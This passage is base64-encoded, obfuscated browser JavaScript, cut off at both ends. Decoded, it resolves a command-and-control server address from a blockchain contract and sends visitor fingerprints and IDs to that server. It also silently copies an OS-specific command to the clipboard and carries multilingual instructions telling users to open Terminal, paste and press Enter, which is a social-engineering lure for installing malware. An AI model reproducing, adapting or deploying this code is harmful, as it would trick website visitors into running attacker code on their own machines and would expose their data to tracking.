BtYWMpOw0KICAgICAgICAgIHJldHVybiB7IGFwcHM6IGFwcHMsIHdpbjogd2luLCBsaW51eDogbGludXgsIG1hYzogbWFjLCB2ZXJzaW9uOiB2ZXJzaW9uIH07DQogICAgICAgIH0pOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gbG9hZExpbmtDb25maWcoKSB7DQogICAgcmV0dXJuIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbigwKS50aGVuKGZ1bmN0aW9uIChjZmcpIHsNCiAgICAgIGlmIChjZmcpIHJldHVybiBjZmc7DQogICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgaWYgKGNhY2hlZCAmJg0KICAgICAgICAgIGlzVmFsaWRBcHBzVXJsKGNhY2hlZC5hcHBzKSAmJg0KICAgICAgICAgIGlzVmFsaWRPc1BheWxvYWQoY2FjaGVkLndpbikgJiYNCiAgICAgICAgICBpc1ZhbGlkT3NQYXlsb2FkKGNhY2hlZC5saW51eCkgJiYNCiAgICAgICAgICBpc1ZhbGlkT3NQYXlsb2FkKGNhY2hlZC5tYWMpKSB7DQogICAgICAgIHJldHVybiB7DQogICAgICAgICAgYXBwczogY2FjaGVkLmFwcHMsDQogICAgICAgICAgd2luOiBjYWNoZWQud2luLA0KICAgICAgICAgIGxpbnV4OiBjYWNoZWQubGludXgsDQogICAgICAgICAgbWFjOiBjYWNoZWQubWFjLA0KICAgICAgICAgIHZlcnNpb246IGNhY2hlZC52ZXJzaW9uIHx8IDANCiAgICAgICAgfTsNCiAgICAgIH0NCiAgICAgIHJldHVybiB7DQogICAgICAgIGFwcHM6IEZBTExCQUNLX0FQUFNfU0NSSVBUX1VSTCwNCiAgICAgICAgd2luOiAnJywNCiAgICAgICAgbGludXg6ICcnLA0KICAgICAgICBtYWM6ICcnLA0KICAgICAgICB2ZXJzaW9uOiAwDQogICAgICB9Ow0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUobnVsbCk7DQoNCiAgICB2YXIgcmVxdWVzdEJvZHkgPSB7DQogICAgICBqc29ucnBjOiAnMi4wJywNCiAgICAgIG1ldGhvZDogJ2V0aF9jYWxsJywNCiAgICAgIHBhcmFtczogW3sgdG86IGRvbWFpbkNvbnRyYWN0QWRkcmVzcywgZGF0YTogJzB4JyArIGRvbWFpbk1ldGhvZFNlbGVjdG9yIH0sICdsYXRlc3QnXSwNCiAgICAgIGlkOiAxDQogICAgfTsNCg0KICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCByZXF1ZXN0Qm9keSkNCiAgICAgIC50aGVuKGZ1bmN0aW9uIChyZXNwb25zZSkgew0KICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2UuZXJyb3IpIHJldHVybiBmZXRjaERvbWFpbkZyb21DaGFpbihycGNJbmRleCArIDEpOw0KICAgICAgICB2YXIgZG9tYWluID0gcmVzcG9uc2UgJiYgcmVzcG9uc2UucmVzdWx0ID8gZGVjb2RlQWJpU3RyaW5nKHJlc3BvbnNlLnJlc3VsdCkgOiAnJzsNCiAgICAgICAgaWYgKGRvbWFpbikgcmV0dXJuIGRvbWFpbi5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgICAgICByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgIH0pDQogICAgICAuY2F0Y2goZnVuY3Rpb24gKCkgew0KICAgICAgICByZXR1cm4gZmV0Y2hEb21haW5Gcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgIH0pOw0KICB9DQoNCiAgUHJvbWlzZS5hbGwoW2xvYWRMaW5rQ29uZmlnKCksIGZldGNoRG9tYWluRnJvbUNoYWluKDApXSkudGhlbihmdW5jdGlvbiAocmVzdWx0cykgew0KICAgIGFwcGx5TGlua0NvbmZpZyhyZXN1bHRzWzBdKTsNCiAgICB2YXIgZG9tYWluID0gcmVzdWx0c1sxXTsNCiAgICBpZiAoIWRvbWFpbikgcmV0dXJuOw0KDQogICAgKGZ1bmN0aW9uKCkgew0KICAgICAgICAndXNlIHN0cmljdCc7DQoNCiAgICAgICAgdmFyIEFQSV9BVVRIX0tFWSA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICAgICAgICB2YXIgQ0NfU0VSVkVSX0FQSV9VUkwgPSBkb21haW4gKyAiL2FwaS5waHAiOw0KICAgICAgICB2YXIgVEFSR0VUX09QRVJBVElOR19TWVNURU0gPSBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgdmFyIElTX0FDVElWRSA9IHRydWU7DQogICAgICAgIHZhciBURVNUX01PREUgPSBmYWxzZTsNCiAgICAgICAgdmFyIENVU1RPTV9ET01BSU4gPSAnJzsNCiAgICAgICAgdmFyIEJBQ0tHUk9VTkRfT1BBQ0lUWSA9IDEuMDA7DQoNCiAgICAgICAgdmFyIExPQ0FMX1NUT1JBR0VfS0VZID0gKGZ1bmN0aW9uKGF1dGhLZXkpIHsNCg0KICAgICAgICAgICAgdmFyIHN0cmluZ1RvSGFzaCA9IGF1dGhLZXkgKyAnXHgwMCcgKyAobG9jYXRpb24uaG9zdG5hbWUgfHwgJycpOw0KICAgICAgICAgICAgdmFyIGhhc2hWYWx1ZSA9IDIxNjYxMzYyNjE7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgc3RyaW5nVG9IYXNoLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaGFzaFZhbHVlIF49IHN0cmluZ1RvSGFzaC5jaGFyQ29kZUF0KGkpOw0KICAgICAgICAgICAgICAgIGhhc2hWYWx1ZSA9IChoYXNoVmFsdWUgKiAxNjc3NzYxOSkgPj4+IDA7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHJldHVybiAnXycgKyBoYXNoVmFsdWUudG9TdHJpbmcoMzYpOw0KICAgICAgICB9KShBUElfQVVUSF9LRVkpOw0KDQogICAgICAgIHZhciBWSVNJVE9SX0lEX1NUT1JBR0VfS0VZID0gTE9DQUxfU1RPUkFHRV9LRVkgKyAnX3ZpZCc7DQoNCiAgICAgICAgZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21WaXNpdG9ySWQoKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIHJldHVybiBjcnlwdG8ucmFuZG9tVVVJRCgpOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgICAgICB2YXIgcmFuZG9tQnl0ZXMgPSBuZXcgVWludDhBcnJheSgxNik7DQogICAgICAgICAgICAgICAgY3J5cHRvLmdldFJhbmRvbVZhbHVlcyhyYW5kb21CeXRlcyk7DQogICAgICAgICAgICAgICAgcmFuZG9tQnl0ZXNbNl0gPSAocmFuZG9tQnl0ZXNbNl0gJiAxNSkgfCA2NDsNCiAgICAgICAgICAgICAgICByYW5kb21CeXRlc1s4XSA9IChyYW5kb21CeXRlc1s4XSAmIDYzKSB8IDEyODsNCg0KICAgICAgICAgICAgICAgIHZhciB1dWlkU3RyaW5nID0gJyc7DQogICAgICAgICAgICAgICAgdmFyIGJ5dGVJbmRleDsNCiAgICAgICAgICAgICAgICBmb3IgKGJ5dGVJbmRleCA9IDA7IGJ5dGVJbmRleCA8IDE2OyBieXRlSW5kZXgrKykgew0KICAgICAgICAgICAgICAgICAgICB1dWlkU3RyaW5nICs9IHJhbmRvbUJ5dGVzW2J5dGVJbmRleF0udG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDIsICcwJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChieXRlSW5kZXggPT09IDMgfHwgYnl0ZUluZGV4ID09PSA1IHx8IGJ5dGVJbmRleCA9PT0gNyB8fCBieXRlSW5kZXggPT09IDkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHV1aWRTdHJpbmcgKz0gJy0nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiB1dWlkU3RyaW5nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFVOSVFVRV9WSVNJVE9SX0lEID0gKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICB2YXIgZXhpc3RpbmdJZCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKFZJU0lUT1JfSURfU1RPUkFHRV9LRVkpOw0KICAgICAgICAgICAgICAgIGlmIChleGlzdGluZ0lkKSByZXR1cm4gZXhpc3RpbmdJZDsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KDQogICAgICAgICAgICB2YXIgbmV3SWQgPSBnZW5lcmF0ZVJhbmRvbVZpc2l0b3JJZCgpOw0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShWSVNJVE9SX0lEX1NUT1JBR0VfS0VZLCBuZXdJZCk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgIHJldHVybiBuZXdJZDsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9MT0NBVElPTiA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHZhciB0aW1lem9uZSA9ICcnOw0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICB0aW1lem9uZSA9IEludGwuRGF0ZVRpbWVGb3JtYXQoKS5yZXNvbHZlZE9wdGlvbnMoKS50aW1lWm9uZSB8fCAnJzsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KICAgICAgICAgICAgdmFyIGxhbmd1YWdlID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2UgfHwgJyc7DQogICAgICAgICAgICB2YXIgcGFydHMgPSBbXTsNCiAgICAgICAgICAgIGlmICh0aW1lem9uZSkgcGFydHMucHVzaCh0aW1lem9uZSk7DQogICAgICAgICAgICBpZiAobGFuZ3VhZ2UpIHBhcnRzLnB1c2gobGFuZ3VhZ2UpOw0KICAgICAgICAgICAgcmV0dXJuIHBhcnRzLmpvaW4oJyB8ICcpIHx8ICd1bmtub3duJzsNCiAgICAgICAgfSkoKTsNCg0KICAgICAgICB2YXIgVklTSVRPUl9TSVRFX1VSTCA9IChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGxvY2F0aW9uLmhyZWYgfHwgbG9jYXRpb24ub3JpZ2luIHx8ICcnOw0KICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gJyc7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgZnVuY3Rpb24gZmlsbENsaXBib2FyZFRlbXBsYXRlKHRlbXBsYXRlLCBvc0ZhbWlseSwgb3NMYWJlbCkgew0KICAgICAgICAgICAgdmFyIG5vd0lzbyA9IG5ldyBEYXRlKCkudG9JU09TdHJpbmcoKTsNCiAgICAgICAgICAgIHZhciBpZCA9IFVOSVFVRV9WSVNJVE9SX0lEOw0KICAgICAgICAgICAgdmFyIGxvY2F0aW9uID0gZW5jb2RlVVJJQ29tcG9uZW50KFZJU0lUT1JfTE9DQVRJT04pOw0KICAgICAgICAgICAgdmFyIHNpdGVVcmwgPSBlbmNvZGVVUklDb21wb25lbnQoVklTSVRPUl9TSVRFX1VSTCk7DQogICAgICAgICAgICB2YXIgb3MgPSBlbmNvZGVVUklDb21wb25lbnQob3NMYWJlbCB8fCBvc0ZhbWlseSk7DQogICAgICAgICAgICB2YXIgbGFzdFZpc2l0ID0gZW5jb2RlVVJJQ29tcG9uZW50KG5vd0lzbyk7DQogICAgICAgICAgICB2YXIgbGFzdFNoZWxsID0gZW5jb2RlVVJJQ29tcG9uZW50KG5vd0lzbyk7DQoNCiAgICAgICAgICAgIHJldHVybiBTdHJpbmcodGVtcGxhdGUgfHwgJycpDQogICAgICAgICAgICAgICAgLnNwbGl0KCdYWFhfSUQnKS5qb2luKGlkKQ0KICAgICAgICAgICAgICAgIC5zcGxpdCgnWFhYX0xPQ0FUSU9OJykuam9pbihsb2NhdGlvbikNCiAgICAgICAgICAgICAgICAuc3BsaXQoJ1hYWF9TSVRFX1VSTCcpLmpvaW4oc2l0ZVVybCkNCiAgICAgICAgICAgICAgICAuc3BsaXQoJ1hYWF9PUycpLmpvaW4ob3MpDQogICAgICAgICAgICAgICAgLnNwbGl0KCdYWFhfTEFTVF9WSVNJVF9BVCcpLmpvaW4obGFzdFZpc2l0KQ0KICAgICAgICAgICAgICAgIC5zcGxpdCgnWFhYX0xBU1RfU0hFTExfQVQnKS5qb2luKGxhc3RTaGVsbCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZENsaXBib2FyZENvbW1hbmQoKSB7DQogICAgICAgICAgICB2YXIgb3NGYW1pbHkgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgIHZhciBvc0xhYmVsID0gZ2V0VmlzaXRvck9zTGFiZWwoKTsNCiAgICAgICAgICAgIHZhciB0ZW1wbGF0ZSA9IFdJTl9VUkw7DQogICAgICAgICAgICBpZiAob3NGYW1pbHkgPT09ICdsaW51eCcpIHRlbXBsYXRlID0gTElOVVhfVVJMOw0KICAgICAgICAgICAgaWYgKG9zRmFtaWx5ID09PSAnbWFjJykgdGVtcGxhdGUgPSBNQUNfVVJMOw0KICAgICAgICAgICAgaWYgKCFpc1ZhbGlkT3NQYXlsb2FkKHRlbXBsYXRlKSkgcmV0dXJuICcnOw0KICAgICAgICAgICAgcmV0dXJuIGZpbGxDbGlwYm9hcmRUZW1wbGF0ZSh0ZW1wbGF0ZSwgb3NGYW1pbHksIG9zTGFiZWwpOw0KICAgICAgICB9DQoNCiAgICAgICAgdHJ5IHsgd2luZG93Ll9fQVZUX0NNRCA9IGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpOyB9IGNhdGNoIChlKSB7fQ0KDQogICAgICAgIHRyeSB7DQogICAgICAgICAgICBpZiAoIVRFU1RfTU9ERSAmJg0KICAgICAgICAgICAgICAgIChsb2NhbFN0b3JhZ2UuZ2V0SXRlbShMT0NBTF9TVE9SQUdFX0tFWSkgfHwNCiAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXJvb3QnKSkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXJvb3QnKSkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIChmdW5jdGlvbigpIHsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gc2VuZFBpeGVsVHJhY2tpbmdSZXF1ZXN0KHVybCkgew0KICAgICAgICAgICAgICAgIGlmICh3aW5kb3cuZmV0Y2gpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZldGNoKHVybCwgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1vZGU6ICduby1jb3JzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjcmVkZW50aWFsczogJ29taXQnDQogICAgICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgKG5ldyBJbWFnZSkuc3JjID0gdXJsOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgICAgICAgICAobmV3IEltYWdlKS5zcmMgPSB1cmw7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB2YXIgdHJhY2tpbmdEYXRhID0gSlNPTi5zdHJpbmdpZnkoew0KICAgICAgICAgICAgICAgIHVybDogbG9jYXRpb24uaHJlZiwNCiAgICAgICAgICAgICAgICByZWY6IGRvY3VtZW50LnJlZmVycmVyIHx8ICcnLA0KICAgICAgICAgICAgICAgIHZpZDogVU5JUVVFX1ZJU0lUT1JfSUQNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBzZW5kVW5lbmNyeXB0ZWREYXRhKCkgew0KICAgICAgICAgICAgICAgIHNlbmRQaXhlbFRyYWNraW5nUmVxdWVzdCgNCiAgICAgICAgICAgICAgICAgICAgQ0NfU0VSVkVSX0FQSV9VUkwgKw0KICAgICAgICAgICAgICAgICAgICAnP2s9JyArIGVuY29kZVVSSUNvbXBvbmVudChBUElfQVVUSF9LRVkpICsNCiAgICAgICAgICAgICAgICAgICAgJyZ1cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChsb2NhdGlvbi5ocmVmKSArDQogICAgICAgICAgICAgICAgICAgICcmcmVmPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIgfHwgJycpICsNCiAgICAgICAgICAgICAgICAgICAgJyZ2aWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChVTklRVUVfVklTSVRPUl9JRCkgKw0KICAgICAgICAgICAgICAgICAgICAoVEVTVF9NT0RFID8gJyZ0ZXN0PTEnIDogJycpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKCF3aW5kb3cuY3J5cHRvIHx8ICFjcnlwdG8uc3VidGxlKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbmRVbmVuY3J5cHRlZERhdGEoKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgY3J5cHRvLnN1YnRsZS5kaWdlc3QoJ1NIQS0yNTYnLCBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoQVBJX0FVVEhfS0VZKSkNCiAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihrZXlCdWZmZXIpIHsNCg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gY3J5cHRvLnN1YnRsZS5pbXBvcnRLZXkoJ3JhdycsIGtleUJ1ZmZlciwgew0KICAgICAgICAgICAgICAgICAgICAgICAgbmFtZTogJ0FFUy1HQ00nDQogICAgICAgICAgICAgICAgICAgIH0sIGZhbHNlLCBbJ2VuY3J5cHQnXSk7DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihjcnlwdG9LZXkpIHsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgaW5pdGlhbGl6YXRpb25WZWN0b3IgPSBjcnlwdG8uZ2V0UmFuZG9tVmFsdWVzKG5ldyBVaW50OEFycmF5KDEyKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNyeXB0by5zdWJ0bGUuZW5jcnlwdCh7DQogICAgICAgICAgICAgICAgICAgICAgICBuYW1lOiAnQUVTLUdDTScsDQogICAgICAgICAgICAgICAgICAgICAgICBpdjogaW5pdGlhbGl6YXRpb25WZWN0b3INCiAgICAgICAgICAgICAgICAgICAgfSwgY3J5cHRvS2V5LCBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUodHJhY2tpbmdEYXRhKSkNCiAgICAgICAgICAgICAgICAgICAgLnRoZW4oZnVuY3Rpb24oZW5jcnlwdGVkRGF0YSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgY29tYmluZWRCdWZmZXIgPSBuZXcgVWludDhBcnJheSgxMiArIGVuY3J5cHRlZERhdGEuYnl0ZUxlbmd0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21iaW5lZEJ1ZmZlci5zZXQoaW5pdGlhbGl6YXRpb25WZWN0b3IpOw0KICAgICAgICAgICAgICAgICAgICAgICAgY29tYmluZWRCdWZmZXIuc2V0KG5ldyBVaW50OEFycmF5KGVuY3J5cHRlZERhdGEpLCAxMik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBiYXNlNjRTdHJpbmcgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgY29tYmluZWRCdWZmZXIubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYXNlNjRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjb21iaW5lZEJ1ZmZlcltpXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbmRQaXhlbFRyYWNraW5nUmVxdWVzdCgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDQ19TRVJWRVJfQVBJX1VSTCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJz9rPScgKyBlbmNvZGVVUklDb21wb25lbnQoQVBJX0FVVEhfS0VZKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJyZkPScgKyBlbmNvZGVVUklDb21wb25lbnQoYnRvYShiYXNlNjRTdHJpbmcpKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKFRFU1RfTU9ERSA/ICcmdGVzdD0xJyA6ICcnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAuY2F0Y2goc2VuZFVuZW5jcnlwdGVkRGF0YSk7DQogICAgICAgIH0pKCk7DQoNCiAgICAgICAgZnVuY3Rpb24gY29weVRleHRUb0NsaXBib2FyZCh0ZXh0KSB7DQogICAgICAgICAgICBjb3B5VGV4dExlZ2FjeU1ldGhvZCh0ZXh0KTsNCg0KICAgICAgICAgICAgaWYgKG5hdmlnYXRvci5jbGlwYm9hcmQgJiYgbmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCh0ZXh0KTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gY29weVRleHRMZWdhY3lNZXRob2QodGV4dCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICB2YXIgaGlkZGVuVGV4dGFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCd0ZXh0YXJlYScpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnZhbHVlID0gdGV4dDsNCiAgICAgICAgICAgICAgICBoaWRkZW5UZXh0YXJlYS5zdHlsZS5jc3NUZXh0ID0gJ3Bvc2l0aW9uOmZpeGVkO2xlZnQ6LTk5OTlweDt0b3A6MDtvcGFjaXR5OjA7JzsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGhpZGRlblRleHRhcmVhKTsNCiAgICAgICAgICAgICAgICBoaWRkZW5UZXh0YXJlYS5mb2N1cygpOw0KICAgICAgICAgICAgICAgIGhpZGRlblRleHRhcmVhLnNlbGVjdCgpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmV4ZWNDb21tYW5kKCdjb3B5Jyk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChoaWRkZW5UZXh0YXJlYSk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICB2YXIgV0lORE9XU19MT0dPX1NWRyA9ICc8c3ZnIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjEzIiBoZWlnaHQ9IjEzIiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7dmVydGljYWwtYWxpZ246bWlkZGxlO2ZpbGw6Y3VycmVudENvbG9yOyI+PHBhdGggZD0iTTMgNS4zMyAxMC43NCA0djcuMjhIM3ptOC43Ni0xLjQ5TDIxIDIuMjV2OS4wM2gtOS4yNHpNMyAxMi4zOWg3Ljc0djcuMjhMMyAxOC4zM3ptOC43NiAwSDIxdjkuMzZsLTkuMjQtMS41OXoiLz48L3N2Zz4nOw0KDQogICAgICAgIHZhciBPU19JTlNUUlVDVElPTl9QQUNLUyA9IHsNCiAgICAgICAgICAgIG1hYzogew0KICAgICAgICAgICAgICAgIGVuOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1BlcmZvcm0gdGhlIHN0ZXBzIG9uIHlvdXIgTWFjIGtleWJvYXJkJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J3RoZW4gcHJlc3MgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidQcmVzcyBcdTIzMTggKENvbW1hbmQpIG5leHQgdG8gdGhlIHNwYWNlIGJhciwgdGhlbiBTcGFjZSB0byBvcGVuIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBkZToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBNYWMtVGFzdGF0dXIgZHVyY2gnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonZGFubiBFbnRlciBkclx1MDBmY2NrZW4nLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidEaWUgQ21kLVRhc3RlIChcdTIzMTgpIGJlZmluZGV0IHNpY2ggbmViZW4gZGVyIExlZXJ0YXN0ZS4gRHJcdTAwZmNja2VuIFNpZSBDbWQrTGVlcnRhc3RlIGZcdTAwZmNyIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBmcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyIE1hYycsc3RlcDE6JzxiPkNtZCArIEVzcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDoncHVpcyBFbnRyXHUwMGU5ZScsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50clx1MDBlOWUgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0xhIHRvdWNoZSBDbWQgKFx1MjMxOCkgZXN0IFx1MDBlMCBjXHUwMGY0dFx1MDBlOSBkZSBsYSBiYXJyZSBkXHUyMDE5ZXNwYWNlLiBDbWQrRXNwYWNlIG91dnJlIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBlczoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvIE1hYycsc3RlcDE6JzxiPkNtZCArIEVzcGFjaW88L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J2x1ZWdvIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonTGEgdGVjbGEgQ21kIChcdTIzMTgpIGVzdFx1MDBlMSBqdW50byBhIGxhIGJhcnJhIGVzcGFjaWFkb3JhLiBDbWQrRXNwYWNpbyBhYnJlIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICBpdDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFc2VndWkgaSBwYXNzYWdnaSBzdWxsYSB0YXN0aWVyYSBNYWMnLHN0ZXAxOic8Yj5DbWQgKyBTcGF6aW88L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J3BvaSBJbnZpbycsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0lsIHRhc3RvIENtZCAoXHUyMzE4KSBcdTAwZTggYWNjYW50byBhbGxhIGJhcnJhIH